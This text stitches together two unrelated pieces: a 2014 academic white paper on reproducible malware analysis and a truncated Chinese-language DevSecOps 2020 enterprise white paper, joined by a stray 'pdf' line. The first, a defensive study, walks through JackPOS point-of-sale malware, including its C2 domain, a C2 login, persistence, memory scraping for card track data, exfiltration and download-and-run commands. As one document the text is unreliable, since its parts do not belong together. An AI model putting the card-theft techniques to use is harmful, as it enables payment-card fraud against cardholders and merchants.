 Mississippi State University July 13, 2014 ! ABSTRACT ! The purpose of this white paper, and the talk that accompanies it, is to promote the adoption of better practices in the publication and demonstration of malicious software (malware) analyses. For various reasons, many popular analyses of malware do not contain enough information required for a peer to replicate the research and verify results. This hurts analysts that wish to continue to work more in-depth on a sample, and reduces the value of such analyses to those who would otherwise be able to use them to learn reverse engineering and improve themselves personally. This paper and talk proposes that we borrow the concept of “executable research” by supplementing our written analysis with material designed to illustrate our analysis using the malware itself. Taking a step beyond traditional sandboxes to implement bespoke virtual environments and scripted instrumentation with commentary can supplement written reports in a way that makes the analysis of malware more sound and useful to others. As a case-study of this concept, an analysis of the recent high-profile point-of-sale malware, JackPOS is presented with enough information to replicate the analysis on the provided sample. The command-and-control server is included and Python-based harnesses are developed and presented that illustrate points of interest from the analysis by instrumenting the execution of the malware itself. ! INTRODUCTION ! This paper serves as a companion to a talk/demonstration given by the author on improving published malware analyses in general, and resources provided (code and configuration) that allow the reader to follow along with, reproduce, verify, and resume work from the case study analysis. We will begin with a discussion on the reproducibility and verifiability of published malware analyses, then make recommendations for improving these traits in future analyses. Finally, a case study using a recent and popular point-of-sale malware sample is presented to demonstrate how these recommendations can be put to practical use. ! REPRODUCIBILITY AND VERIFIABILITY IN MALWARE ANALYSIS ! The author, in the course of learning about malicious software (malware) analysis, conducting research in malware analysis, and accumulating materials suitable for teaching reverse engineering (with a focus on malware), has read many malware analyses published by companies, organizations, and individuals. While many consumers of such analyses never intend to “get their hands dirty” and verify results or use them as a basis for further work, and are perfectly satisfied with taking the word of the analyst. This is fine for those focused on indicators of compromise and removal instructions, as well as those who only need an “executive summary” of operation. Those involved in malware research that are interested in the low-level operation of malware, in the pursuit of such things as attribution, documentation of techniques, and comparison of samples, are often left with less information than they’d like to begin their work. Students learning reverse engineering in the context of malware analysis are even poorer served, without documentation of how to reproduce the findings of an analysis, an activity that would otherwise be very educational. Replicating the results of an experiment as a part of peer review is a cornerstone of the scientific method[1]. Many published analyses of malware have critical elements missing that prevent the analysis from being as useful as it could be to other analysts: Sample information - By far, the element necessary to replicate results that is most frequently missing is availability of the malware sample itself. We will discuss the reasoning behind this later in this paper, but often, a published analysis references a malware sample that is unavailable for other researchers to download. Less frequently, the specific identifying hash of the malware sample is not specified, or a body of hashes is provided, only one of which (unspecified) is the variant that is the subject of the analysis. Procedural information - This is in reference to procedures used to analyze the malware. While it’s not expected that every step be documented (general procedures are well documented for beginners[2]), those specific to the malware itself that might stand in the way of an analyst are often not well documented. As an example, procedures used to extract packed samples to a state suitable for analysis are often not well-documented. Contextual information - Most frequently missing, in this category, is information about infection sources and command and control hosts. Often this is related to missing sample information in that the very information that could be used to acquire samples discussed in analyses is often redacted in screenshots, log files, and other documentation of where the malware originated, is hosted, or “phones home”. Internal points of reference - While many analyses discuss functionality and algorithms internal to the malware, and sometimes a block diagram of the basic execution of the sample, information about where those elements are located within the sample itself is often omitted. Not all analyses are missing all of the above information, and, with effort, some missing elements can be reconstructed, though when this the case, it represents what could be made an unnecessary duplication of effort. RATIONALE FOR LACK OF REPRODUCIBILITY ! The author acknowledges that the “problems” discussed in the previous section are often intentional on the part of those that publish analyses. The absence of specific information is not necessarily an indicator of poor quality of analysis or analyst. The following are presumed rationale for excluding information that would be necessary for reproducibility and verifiability. These points are considerations that must be made before publishing more detailed analyses, and therefore represent hurdles to the adoption of the author’s proposed improvements to published analyses. Target Audience - In many cases, the target audience does not include fellow analysts or students. If the analysis is intended to deliver indicators of compromise and removal instructions to those who are tasked with defending networks without requiring detailed knowledge of malware internals, then the bar for reproducibility is much lower. Added Effort - Designing an analysis report in a way that includes information needed for reproducibility certainly requires more effort than a report that omits such information. This is compounded when detailed notes are not kept during the analysis with the future intention of putting together a more “complete” report. Analysis Consumer Safety - Information may be redacted to prevent readers from acquiring, running, and self-infecting with malware in an uncontrolled way. Some organizations may see this as a liability issue. Client Confidentiality - Information may be withheld that is specific to the client of the reporting analyst, due to confidentiality agreements. Information may be redacted in an over-zealous manner, or the malware sample itself might be withheld due to not being able to say with certainty what client data might exist in the sample. The author of this work sees this as being the most compelling argument against including extended information in an analysis. Competitive Advantage - For many companies and organizations, a popular published analysis is a public relations boon, showcasing technical capabilities and providing a venue for advertising products and services. By publishing an analysis, and withholding information that could be used to replicate that analysis, analysts at competing organizations are unable to effectively leverage the provided information to produce “better” analyses. In the case of malware samples that are not widely available, a company with exclusive access to a particular sample has the advantage of being the only source of information about that malware. While all of the above may be valid rationale under some circumstances, it is worth pointing out that a decision to redact or withhold information for competitive advantage can almost always be outwardly claimed to be due to any of the other reasons. While the author is not aware of any hard evidence that competitive advantage is the rationale behind many analyses falling short of reproducibility and verifiability, it has been anecdotally observed that independent, individual, and academic analysts’ analyses are, on the whole, more likely to contain information supporting reproducibility than those published by larger companies (especially those in the antivirus industry). ! BORROWING FROM “EXECUTABLE RESEARCH PAPERS” ! In academia, scholarly works are subject to peer review that, when the system of peer review works, can allow others to “stand on the shoulders of giants” to perform their own work, as well as expose flaws in research when published results are unable to be verified by other researchers. In computational science, a field that involves using computing and data analysis to solve problems[3], there has been a movement towards developing and using a system of “executable research papers”, where research can be presented in electronic and interactive form that embody the algorithms, data, and analysis of results in a way that the reader can execute, observe, and manipulate[4]. While it may not be prudent to create malware analysis reports that are immediately executable, it can be argued that providing samples, resources, and instrumentation for demonstrating findings alongside an analysis brings the concept of published analysis closer to that of an “executable paper”. A system similar to that proposed by the SHARE project (as a response to the Executable Paper Grand Challenge) [5], where research is presented in the context of a virtual machine containing the software and data required to replicate it may have more immediate application to publishing “high information content” malware analyses. ! RECOMMENDATIONS ! It is proposed that, for a published analysis of malware to be considered easily reproducible and verifiable, the following traits may be desirable: • Sample Availability - Where the medium used to communicate the analysis does not lend itself to safely distributing a live malware sample, the sample should be made available to download from a site such as VirusShare[1], which has been set up as a central repository for making samples easily accessible by researchers. • Host Environment - Beyond what is provided by traditional “triage” tools for malware analysis sandbox environments, an environment should be provided, or documented in enough detail for an analyst to reproduce, that allows for the primary functionality of the malware to execute. Operating system and targeted software should be documented. • Target Data - When malware seeks data to exfiltrate, software to generate and simulate that data can be provided to exercise those areas of malicious code. • Network Environment - Network resources needed to exercise the primary functionality of the malware should be provided or documented. For example, malware that communicates with a command and control server should be accompanied by an implementation of the command and control protocol. Developing and providing a command and control server, where one is not already widely available, may, in some cases, involve large investment of time. In the author’s reverse engineering course, students create command and control servers for undocumented samples. A minimal implementation, or, at least, as complete documentation of the protocol as needed to demonstrate functionality should be provided. • Instrumentation - By use of scriptable debugging, such as that provided by the Python library WinAppDbg [10], a “harness” can be created that executes the malware in a way that is easy to observe, and illustrates the findings of the analyst’s static and dynamic analysis. As the analysis process progresses, each finding regarding internal data or functionality can be illustrated at a programmatic breakpoint in the actual malware code. Essentially, debug output for the malware can be created where there originally was none. Harness scripts can also be created that execute isolated sections of the malware to illustrate the operation of functions deeper in the path of execution independently of the rest. ! Taken as a whole, the written analysis, combined with the above electronic deliverables, can be used to create en environment in which the malware can be observed at a high or low level, and manipulated to further that analysis. For those who enjoy and engage in malware reverse engineering, it’s a step closer to owning and maintaining the “Malware Aquarium” as described in XKCD 350 [6]: !!!!!!!! CASE STUDY: JACKPOS POINT-OF-SALE MALWARE ! The purpose of this section and its corresponding demo that makes up a good portion of the accompanying talk is to illustrate how an analysis can be published that discusses the operation of malware at a high level, while also providing the detail needed for analysts to run the malware in a safe environment and replicate its results. ! Sample Selection ! The JackPOS sample was chosen largely by virtue of being the most current piece of malware being analyzed by the author of this work at the time this paper was created. During the time the author was performing his analysis and creating this work, other analyses and writings on this malware have been published. Notably, Josh Grunzweig of TrustWave Spiderlabs has published a blog post discussing a brief analysis of JackPOS [7], and unixfreakjp of the Malware Must Die collective has discussed the sale and distribution of this malware[8]. It is the author’s opinion that Grunzweig’s analysis is quite good, and contains much of the information needed to reproduce the analysis, even if all of the recommended elements of a reproducible and verifiable analysis are not present. A very special thanks from this author goes to Xylit0l of Malware Intelligence for running the CyberCrime Tracker, which allowed the author to locate a collection of JackPOS samples and even capture a copy of the command and control server. The general consensus among all of the current analyses of JackPOS is that it is not a terribly impressive piece of malware. There are a few reasons, though, to justify it as a good choice for a case study of this kind: • Point-of-Sale malware is a currently growing concern, so illustrating an example of it makes for a compelling demo. • A copy of the malware operator’s command and control source code has been acquired (and distributed along with this analysis), which gives us the opportunity to watch execution from both the client and server’s perspective. We can demonstrate a full environment for operating, and being infected by, the JackPOS malware. • The sample’s use of C++ strings and STL constructs makes casual static analysis of the disassembly more challenging than it would if it were written in more straightforward C. The superficial use of objects created at runtime confuses stock IDA Pro’s ability to cross reference usage of data. This makes the test harnesses provided more useful in documenting the state of important memory locations at points of interest at runtime. • The functionality for searching other running processes can be instrumented to run independently of the remainder of the malware. • It’s relatively easy to patch in a way that runs in the harness without its normal installation and persistence setup. ! What’s Provided • The sample itself is available in VirusShare.com archive, to avoid providing live malware with conference materials. • MD5 - aa9686c3161242ba61b779aa325e9d24 • SHA1 - 9fa9364add245ce873552aced7b4a757dceceb9e • PHP source code for the command and control server • A database schema created to work with the above command and control • jackpos_harness.py - A Python harness for instrumenting the execution of the JackPOS sample. Used to patch JackPOS at runtime to connect to an arbitrary command and control server, execute it in a way that’s friendlier to analysts than its usual installed and persistence state, and illustrate the internal operation of JackPOS as debug output as it executes. • search_proc_harness.py - Another harness script that bypasses the majority of JackPOS functionality in order to only call the process memory searching functionality on a PID given at the command-line. • gen_track_data.py - A script that acts as a (generated) data source for JackPOS to gather from and exfiltrate. Essentially, this is a stand-in for the point of sale terminal software. With a combination of the analysis and the resources provided, it is possible to set up an environment that executes and demonstrates the entirety of the “desired” path of execution and data (from card “swipe” to showing up in the command and control) of JackPOS. This virtual environment will be presented and discussed as part of the accompanying talk to this paper. !!! Harness Design ! The two Python harnesses provided are both based on a very simple template that is intended to be easily applied to the analysis of other samples. The WinAppDbg[10] library is used to implement scriptable debugging of the target malware sample. While the operation of these harnesses can be flexible, most features are implemented by functions that trigger upon hitting breakpoints set in code. A list of breakpoints with associated callbacks exists in the code: ! Callbacks receive an event, then typically extract process, thread, and context information from the break event. The purpose of most of the callbacks is to illustrate points of interest in the malware by displaying the status of important areas of memory, indicating that execution has reached a certain point, or patching the target malware in order to reach desired code. The following code that patches the command and control server string at the appropriate point in execution demonstrates how the callbacks work: ! For debug output, several wrapper functions around WinAppDbg’s color output functions are provided to color-code output in order to make identifying different types of output easier, and apply timestamps to each line. For the case study analysis the following conventions are used for color-coded output: ! ! ! ! ! ! Output Function Color Output Type print_script(str) White Information from the harness itself print_modification(str) Red Modifications made at runtime print_hook(str) Yellow Hooked API functions print_network(str) Green Network communication print_process(str) Cyan Information regarding malware querying processes print_internal(str) Magenta Internal operation/data in the malware ANALYSIS ! Overview JackPOS is a simple implementation of point-of-sale malware. The specific sample studied in this analysis matches the SHA1 sum: 9fa9364add245ce873552aced7b4a757dceceb9e The malware supports installing itself, setting up registry persistence, and executing a “watchdog” process that will re-spawn the malware if it is killed or crashes. The main body of the malware’s functionality involves a loop in which the malware scans processes on the system, and uses a pair of search functions on regions of target process memory to look for “dumps” of credit card magnetic stripe track data. The malware then sends the track data to the command and control server, and at that time has the ability to receive commands from the server to update itself, upload and execute another program, or kill its own process. The focus of this analysis is on what is considered to be primary functionality: searching for credit card track data and communications with the command and control. Command and Control The command and control server for JackPOS, captured from a live site, takes the form of a PHP web application that uses the Yii framework[11]. The PHP code has been included with the distributable material for this talk as jackpos_cnc.tar.gz. Some configuration files have been modified from the captured version in order to run the server in the analysis environment. For the analysis environment, a fresh Linux Mint 16 was created to act as the command and control server, with tasksel installed in order to get a base lamp-server setup. In addition to the base LAMP stack, three other packages should be apt-get install’d: • php5-imagick! • php5-gd! • php5-json (without which, frustratingly, select portions of the interface are simply blank with no error) ! Regrettably, the captured command-and-control server did not include a schema for the database, and unlike other MVC frameworks like Django, Yii projects do not support creating a database schema from the data model definitions. A schema has been created through a combined process of addressing errors regarding missing tables and columns as they arise, and determining needs by inspecting the data model source code in the protected/models directory. This crafted schema has been included in the file, jackposc2_schema.sql, which can be imported into a freshly-created database named “jackposc2” in order to provide the command and control with the database it’s expecting. The data model and schema creation process illustrates the primary focus of this malware and its command and control, with tables that include: • bots - Identified by MAC and IP addresses • cards - With related “dumps” and “tracks” tables • commands - To queue commands to be sent to hosts when they check in In jackposc2_schema.sql, there is also a single user record installed, so that the analyst can log into the interface, navigate around, and see when the malware checks in and submits data. To log in, use email address “badguy@localhost” with the password “jackpos”. Once set up successfully, the command and control server should be up and running for the analyst to log into and see the following interface: !!!!!!!! The “Dumps”, “Bots”, and “Settings” pages should be operational, though there is not yet any data from infected clients to view or interact with. We’ll revisit this interface after we have set up the sample to communicate with it. First Steps with the JackPOS Client Sample The sample is packed using UPX, as can be noted by examining it with PEID or RDG Packer Detector. This is fortunate, as it allows us to avoid a lengthy discussion of unpacking and move on to the analysis relatively quickly. The sample was unpacked using the command line UPX packer with the “-d” option. While the sample was apparently successfully unpacked, judging from the immediate presence of program-unique strings and code that uses them in static analysis, there was a problem with the unpacking process. Attempts to run the unpacked program caused it to immediately crash. Immunity Debugger reports the crash as a result of an “Access violation when reading [00438818]”. According to IDA Pro, this would be the address of a stack cookie seed value, but only if the executable loaded at it’s “preferred” base address of 0x00400000. Due to ASLR, it’s not loaded at that address, and the relocation information needed to fix this reference (and potentially others) is missing. A fix for this is, or at least one that is suitable for malware analysis, is simple: disable relocation for this binary. This has the nice side effect of fixing everything else in memory, making it easier for our instrumentation scripts to work without having to calculate new addresses for each execution. Patching the executable to disable relocation is straightforward. In the PE header for the executable, there is a flag in IMAGE_NT_HEADERS > IMAGE_OPTIONAL_HEADER called IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE. Viewed in PE View, we can see that in this sample, that bit is set: ! This bit can be un-set in a hex editor at the offset 0x156 into the executable file. Installation and Persistence WinMain in this sample begins at 0x00408F90, and branches early, at 0x00408FEA at a test following a function (0x00408AB0, IDB: check_installed) that checks to see if the malware is currently installed. Prior to this, a function (0x00401AF0, IDB: setup_strings) is called to set up string objects for the rest of execution. That these objects are all created at runtime with the actual C-style strings from the data segment is part of what complicates static analysis. The strings form three groups forming what passes for the configuration of this malware: • A command and control server string (“priv8darkshop.com” in this sample) • A list of executable file names that will be used as the installed sample’s name (Starting with “jusched.exe”) • It has been observed at runtime that if a file of its chosen name already exists at the install location, the next filename on the list is chosen • A list of process names that will not be searched for track data later on in the main loop. If the install check fails, the main loop does not execute. Instead, the code responsible for installation and persistence begins at the basic block located at 0x00408FF0. The logged-in user’s AppData\Roaming folder is located, a directory named “Java SE Platform Updater” is created, and the malware is copied to that location. Registry persistence is established in: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\! Once installed, the new copy is run with the original as a command-line argument. When the install check passes on the new run, the original is deleted (after a brief Sleep() call in order to give it time to exit) at 0x0040921B. For our purposes, it would be much more convenient to simply run the malware from our local working directory and have it bypass most of the installation, persistence, and checking. For that reason, some of the earliest actions taken in our jackpos_harness.py are: • patch_cnc at 0x00401B38 - changing the command and control server to one under our control • patch_install_check at 0x00408FE8 - forces execution of the main loop, rather than the installation code, even if the installation check fails • shell_execute_blocker at 0x0040B796 - prevents call to ShellExecute that would run the watchdog process. Also serves to prevent the command and control server from executing anything on the infected client later on. !! Instrumenting Command and Control Communication A function at 0x00403710 (IDB: cnc_checkin) executes once before entering the main loop, and once on each iteration of the main loop. The purpose of this function is to: • (in 0x00403F10, IDB: post_echo) - Test for the presence of the command and control server by retrieving the path /post/echo from its web server. It can be seen in the PHP source of the command and control (in protected/controllers/ PostController.php) that it responds “up” to this request. This function tests for that response, and only if it passes this (very simple) check, does it proceed to communicate further with the command and control. Presumably this is to keep the sample from “giving away” too much in a sandbox environment. • (beginning at the basic block at 0x00403859) - Crafts POST data for checking into the command and control is crafted from: • Base64 Encoded (0x00401000, IDB: base_64_encode) track data retrieved from processes, if any • MAC address information (0x0040CD10, IDB: mac_addr) used to uniquely identify an individual bot within the command and control. • (in 0x0040CD10, IDB: cnc_post_data) POST data is sent to the command and control server, and if there is a command in the command and control queue for that particular bot, the malware receives the command as a response. We can observe this in action with the following jackpos_harness.py functions: • cnc_online at 0x0040320A - Observes the /post/echo check • cnc_online_end at 0x00403321 - Displays the results of the check • cnc_send at 0x004035BC - Displays the data (MAC, and track data, if any) being sent to the command and control • cnc_recv at 0x00403627 - Displays data being sent back to the malware from the command and control server (If anything, presumably a command to be parsed and followed). Identifying Commands The focus of this analysis is on the theft of credit card track information from infected hosts, but in our jackpos_harness.py we at least point out where the three commands that the command and control server can issue begin to be parsed. Much of this processing in the malware takes place in the WinMain function. • kill (harness: process_kill) - removes the malware’s persistence and kills the process. • update (harness: process_update) - causes the malware replaces the current installation of JackPOS with the latest version (as returned from the path / post/download). Updated malware is kept on the command and control server in /clients/. • exec <url> (harness: process_exec) - causes the malware to download and run from a url (rather than replacing the current malware as in the “update” command). URLs provided by the “official” command and control server involve files in the /exec/ directory. Reading Memory from Processes In order to effectively steal credit cards from many different point of sale systems, without being familiar with the internals of any specific one, and supporting a wide variety of different software, the technique JackPOS adopts is one of scanning memory for credit card track data. In the function at 0x0040A9D0 (IDB: get_processes), the list of available processes is walked, and a list of processes to be scanned is built, avoiding 64-bit processes, and those matching names from the list built in the configuration string setup (mostly system processes). Once the list of processes is built, for each process the function at 0x00407CC0 (IDB: search_process_memory) is called, which iterates through each region of memory for a process that the process is allowed to read. Each memory region is then passed through two functions that search for credit card data. jackpos_harness.py identifies each call to search_process_memory with the search_process callback. A separate harness, search_proc_harness.py, can be used to scan arbitrary process ID’s from the command line without invoking the rest of the malware. This allows for easily testing the process reading and track data matching functionality against our data generation scripts, without having to wait for the malware to scan back around to the desired PID. Matching Credit Card Track Data Functions at 0x00407E30 (IDB: look_for_track1_data) and 004081F0 (IDB: look_for_track2_data) seek out credit card magnetic stripe data in regions of memory, given starting and ending addresses. The magnetic stripe data on the back of physical credit cards is encoded in a standard known as ISO/IEC 7813[12,13]. We can use this information to inform our analysis of these two regular-expression-like functions, which would otherwise be tedious without prior knowledge of the format. Code is provided in gen_track_data.py to generate “fake” track data and hold it in memory for JackPOS to find and submit back to the command and control server. With this code we can demonstrate how to successfully navigate these two functions. Analysis Wrap-Up Combined, track data generation and instrumentation of JackPOS allows us to watch the execution of this malware in a visual way, which will be demonstrated during the talk. The following screenshots illustrates track data being found and submitted successfully to the command and control server: !!! !!!!!!!!!!!! !! CONCLUSIONS ! By addressing the lack of reproducibility and verifiability in published malware analyses, we have the potential to more effectively illustrate the inner workings of malware to lay audiences, fellow malware researchers, and students of the field alike. While factors exist that might dissuade an organization or individual researcher from publishing a reproducible analysis, the population of malware analysts and other information security professionals that consume analyses should make it known that they expect and appreciate more “complete” analyses. Those that publish analyses should be encouraged to become more accountable to peer review, and analyses that meet expectations of reproducibility and verifiability should be recommended by industry professionals over those that do not. Virtualization of resources needed to give malware the environment and data that it “wants” in order to carry out its most interesting code path, implementation of network services needed (such as command-and-control services), and programmatic instrumentation of the malicious software itself, all combine to illustrate the operation of malware samples in a way that is more instructive and interactive. Analysts that wish to take published analyses further can use reproducible analyses as a basis to work from, rather than starting “from scratch”. Future work in this area should explore the potential for implementing cloud-based services for publishing instrumented analyses in a way that allows an another analyst to observer and work with malware samples in a more immediate way. ! BIBLIOGRAPHY ! 1. Stodden, Victoria C., “The Scientific Method in Practice: Reproducibility in the Computational Sciences”, MIT Sloan School of Management Working Papers, 2010, http://academiccommons.columbia.edu/item/ac:140117 2. Sikorsky, Michael and Honig, Andrew, Practical Malware Analysis, No Starch Press, 2013 3. Journal of Computational Science, http://www.journals.elsevier.com/journal-of- computational-science/ 4. Executable Paper Grand Challenge, http://www.executablepapers.com/about- challenge.html 5. Pieter Van Gorp, Steffen Mazanek, “SHARE: a web portal for creating and sharing executable research papers”, Procedia Computer Science, Volume 4, 2011, Pages 589-597, ISSN 1877-0509, http://dx.doi.org/10.1016/j.procs.2011.04.062. 6. Munroe, Randall, “Network”, XKCD 350, http://xkcd.com/350/. 7. Grunzweig, Josh, Trustwave SpiderLabs, “JackPOS - The House Always Wins”, February 11, 2014, http://blog.spiderlabs.com/2014/02/jackpos-the-house-always- wins.html 8. unixfreakjp, Malware Must Die!, “Cyber Intelligence: The JackPOS Behind the Screen”, February 13, 2014, http://blog.malwaremustdie.org/2014/02/cyber- intelligence-jackpos-behind-screen.html 9. @xylit0l, [email protected], “CyberCrime Tracker”, http://cybercrime- tracker.net 10. Vilas, Mario, WinAppDbg, http://winappdbg.sourceforge.net/ 11. Yii Framework, http://www.yiiframework.com/ 12. Wikipedia, “ISO/IEC 7813”, http://en.wikipedia.org/wiki/ISO/IEC_7813 13. Padilla, L., “Magnetic Stripe Examples: Standard Cards”, http://www.gae.ucm.es/ ~padilla/extrawork/magexam1.html !
pdf
DevSecOps 2020 Dev Sec Ops FreeBuf 咨询荣誉出品 D e v S e c O p s 企 业 实 践 白 皮 书 关于安全聚合力系列 独行难、众行远。安全聚合力系列报告旨在凝聚网络安全业内甲方安全专家,共同产出指导性、前瞻性的技术及行业实践 研究报告,为企业提供更详实、更易落地的同行业安全建设参考。 关于报告 DevSecOps作为安全领域中逐渐步入成熟期的技术体系,从最初的理念到如今少量的成功实践案例,中间经历了大量的 探索与发展。如今,很多企业已经意识到DevSecOps的重要性并想要有所实践,但仍然面临大量挑战。 本次FreeBuf咨询邀请《研发运营一体化(DevOps)能力成熟度模型》部分编者及国内DevSecOps实践先行者携程、腾讯、 国内某知名金融机构等分别从DevSecOps工具链及企业落地实践等方面深入探索研究,共同输出一份DevSecOps企业实 践白皮书,为企业CSO提供安全建设的有效参考。 关于 FreeBuf 咨询 FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析,分享国内外安全资源与行业洞见,是网络安全从业 者与爱好者广泛关注的行业社区平台。 FreeBuf咨询集结了安全行业经验丰富的安全专家和分析师, 依托FreeBuf 安全智库,常年对信息安全技术、行业动态保持 追踪, 洞悉安全行业现状和趋势, 呈现最专业的研究与咨询服务。 FreeBuf 咨询荣誉出品 D e v S e c O p s 企 业 实 践 白 皮 书 报告出品团队 甲方专家(按姓名首字母排序) FreeBuf咨询 出品人/ 尤文、鲍弘捷、高冰洋 编者/ 武文婧、周雪静、张志鹏 顾问/ 徐钟豪 行业分析师/ 宋丹丹 设计指导/ 姚媛 携程信息安全高级总监,15年信息安全工作经验,大学时便活跃于各类黑客论坛和黑客杂志,曾在多个 技术峰会Qcon、Gitc、Xfungfoo发表主题演讲 凌 云 赵 锐 世界500强企业中国区信息安全和风险负责人,国家网络安全周(上海)网络安全金牌讲师、DevOps标 准工作组核心编写专家,CSA云安全联盟专家、CCSF优秀首席信息安全官 庄 飞 金融机构应用安全负责人,15年+产品研发及安全从业经历,DevOps峰会金牌讲师,DevOps标准编写专 家,曾在EISS、DOIS、TiD,CIS等峰会发表主题演讲 张 祖 优 腾讯云产品安全负责人,腾讯安全云鼎实验室高级安全工程师,12年安全攻防经验,曾在KCon、WOT、 ISF、QCon、BlackHat、网络安全创新大会、DevOps在线峰会等发表主题演讲,Seebug创始人, Pocsuite核心开发者 FreeBuf 咨询荣誉出品 D e v S e c O p s 企 业 实 践 白 皮 书 CHAPTER ONE 第一章 2020 DevSecOps 国内发展现状 1.1 DevOps 安全挑战及转型 1.2 DevSecOps 国内发展现状 02 02 05 2 CHAPTER TWO 第二章 DevSecOps 合规趋势: 《研发运营一体化(DevOps)能力成熟度模型》 3 CHAPTER THREE 第三章 企业 DevSecOps 落地与指导 07 08 08 09 07 3.1 DevSecOps 落地挑战 3.2 DevSecOps 落地与指导 3.2.1 安全文化变革 3.2.2 安全左移流程 3.2.3 构建DevSecOps工具链 目 录 C A T A L O G FreeBuf 咨询荣誉出品 D e v S e c O p s 企 业 实 践 白 皮 书 4 CHAPTER FOUR 第四章 某金融机构 DevSecOps 实践 4.1 安全背景简介 15 15 21 22 14 14 15 6 CHAPTER SIX 第六章 总结与展望 5.4 企业安全工具链实践 5.4.1 开源组件安全扫描(SCA) 5.4.2 源代码安全扫描(SAST) 5.4.3 交互式应用安全测试(IAST) 5.4.4 越权检测 5.4.5 数据库审计 5.4.6 漏洞全生命周期管理 5 CHAPTER FIVE 第五章 携程 DevSec -Ops 实践 5.1 安全背景介绍 5.2 企业安全文化建设 5.3 企业安全流程建设 6.1 头部行业加快实践步伐 6.2 实践需贴合企业属性 6.3 安全是每个人的责任 26 26 27 28 30 31 25 25 26 33 33 34 26 4.2 企业安全文化建设 4.3 企业安全流程建设 4.3.1 安全策略 4.3.2 安全活动及工具链应用 4.3.4 企业安全平台实践 4.3.5 DevSecOps安全度量指标 FreeBuf 咨询荣誉出品 CHAPTER ONE 第一章 2020 DevSecOps 国内发展现状 FreeBuf 咨询荣誉出品 第一章 2020 DevSecOps 国内发展现状 安全必须要积极转型,适应DevOps全新的开发过程,在此趋势下,DevSecOps应运而生。 随着技术的不断发展,软件开发模式也在不断变化。从传统的瀑布式到 敏捷(Agile)、精益(Lean),越来越多的公司开始采用DevOps。DevOps主 张在软件开发生命周期的所有步骤实现自动化和监控,缩短开发周期, 增加部署频率。 根据中国信息通信研究院发布的《中国DevOps现状调查报告(2019 年)》显示,采用DevOps实践可获得研发效率的显著提升,极大提升交 付速度。因为DevOps能够给企业带来的诸多益处,目前已成为企业软 件研发的主流模式。 1.1 DevOps 安全挑战及转型 企业在向DevOps快速转型,产品交付质量和速度都在快速提升,而安 全资源的缺乏以及传统安全运营模式,却阻碍了DevOps的发展。对于 大部分开发团队而言,安全是比较孤立的,大部分开发和运维人员没有 接受过安全编码和安全实践的培训,使得安全与开发是分割的。 Gartner在2015年数据中心和信息安全峰会的调研报告显示,安全已经 成为IT DevOps发展的阻碍。如下图所示,经过调研,大部分安全人员和 研发人员都认为,安全降低了IT对于业务需求的响应速度。 02 02 图:信息安全专家:安全是否阻碍 IT 速度? 图:IT 运营专家:安全是否阻碍 IT 速度? DevSecOps最早由Gartner咨询公司研究员David Cearley在2012年首 次提出。2016年9月,Gartner发布报告《DevSecOps: How to Seamless- ly Integrate Security into DevOps》,对该模型及配套解决方案进行详 细分析,核心理念为:安全是整个IT团队(包括开发、测试、运维及安全 团队)所有成员的责任,需要贯穿整个业务生命周期的每一个环节。 DevOps的核心价值是快速交付价值,灵活响应变化。相应的,DevSec- Ops价值是在不牺牲所需安全性的前提下,快速和规模地交付安全决 策。 1.2 DevSecOps 国内发展现状 DevSecOps的出现是为了改变和优化之前安全工作的一些现状,比如 安全测试的孤立性、滞后性、等问题,通过固化流程、加强不同人员协 作,通过工具、技术手段将可以自动化、重复性的安全工作融入到研发 体系内,让安全及合规作为属性嵌入到DevOps开发运营一体化中,在 保证业务快速交付价值的同时实现安全内建(Build Secuirty In),降低 IT安全风险。 根据GitLab近期发起的第四次年度全球DevSecOps年度调查,超过 25%的开发人员表示对安全性完全负责,而33%的安全团队成员表示 他们拥有安全性。共有29%的人认为每个人都应对安全负责。 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 FreeBuf 咨询荣誉出品 可以看到,DevSecOps逐渐深入人心。虽然国内的DevSecOps落地仍然处于发展阶段,但很多国内企业已经意识到DevSecOps的重要性。随着DevOps 的深度实践,工作流程越来越规范、工具和应用场景也越来越丰富。在此趋势下,国内陆续涌现出了一批专注DevSecOps的创新安全厂商,通用技术方 案被越来越多的行业头部用户所采纳。 此外,DevSecOps的合规和治理也在国内持续推动中,关键标志之一就是全球首个DevOps标准的发布⸺《研发运营一体化(DevOps)能力成熟度模 型》。其中第六部分《安全及风险管理》对DevOps全链路中开发、交付、运营等过程的安全风险控制进行规范要求,为企业安全风险管控手段和能力提升 提供有效引导,帮助企业更好的落地实践DevSecOps。 CHAPTER ONE 03 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 FreeBuf 咨询荣誉出品 2 CHAPTER TWO 第二章 DevSecOps 合规 趋势:《研发运营 一体化(DevOps) 能力成熟度模型》 FreeBuf 咨询荣誉出品 CHAPTER TWO 05 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 第二章 DevSecOps 合规趋势:《研发运营一体化 (DevOps)能力成熟度模型》 DevOps 标准的雏形《互联网应用运维框架及能力模型》初稿于2015年 开始编写,七位专家在编写过程中发现,仅靠运维无法解决所有问题, 无法真正体现业务价值,因此开始寻求更好的方向。 2017年底,为了更多的中小互联网企业以及传统企业能复用互联网、通 信及金融等企业在DevOps领域积累的先进技术,中国信息通信研究院 云计算开源产业联盟(OSCAR)联合高效运维社区、DevOps时代、腾讯、 京东等行业顶级技术专家100多名,共同编写制定了全球首个DevOps 系列标准⸺《研发运营一体化(DevOps)能力成熟度模型》。 该系列标准分为敏捷开发管理、持续交付、技术运营、应用设计、安全风 险管理和组织结构7个部分,涵盖了全软件的开发和运维生命周期,为 构建云时代下的新型软件开发与运营模式奠定坚实的基础。 2018年7月16-27日,在瑞士日内瓦举行的ITU-T*(国际电信联盟)Study Group13 Future networks (& cloud)全会上,来自中国、美国、英国、德 国、几内亚、日本、韩国、俄罗斯联邦、沙特阿拉伯、泰国、塞内加尔等20 多个国家的90多名代表参与了此次会议。由中国信息通信研究院主导 的DevOps国际标准项目成功立项,立项名称为: “Cloud comput- 如上图,信通院在《中国DevOps现状调查报告(2019年)》中,曾针对企业实施安全管理的现状、添加自动化安全分析的阶段、专业安全团队的配比等方 面做了调研:近7成的企业在安全与风险管理成熟度分布上仍处于初始级与基础级,仅有5.2%的企业达到了优秀级。由此也能看出大部分企业仍未给 予安全管理足够的重视。 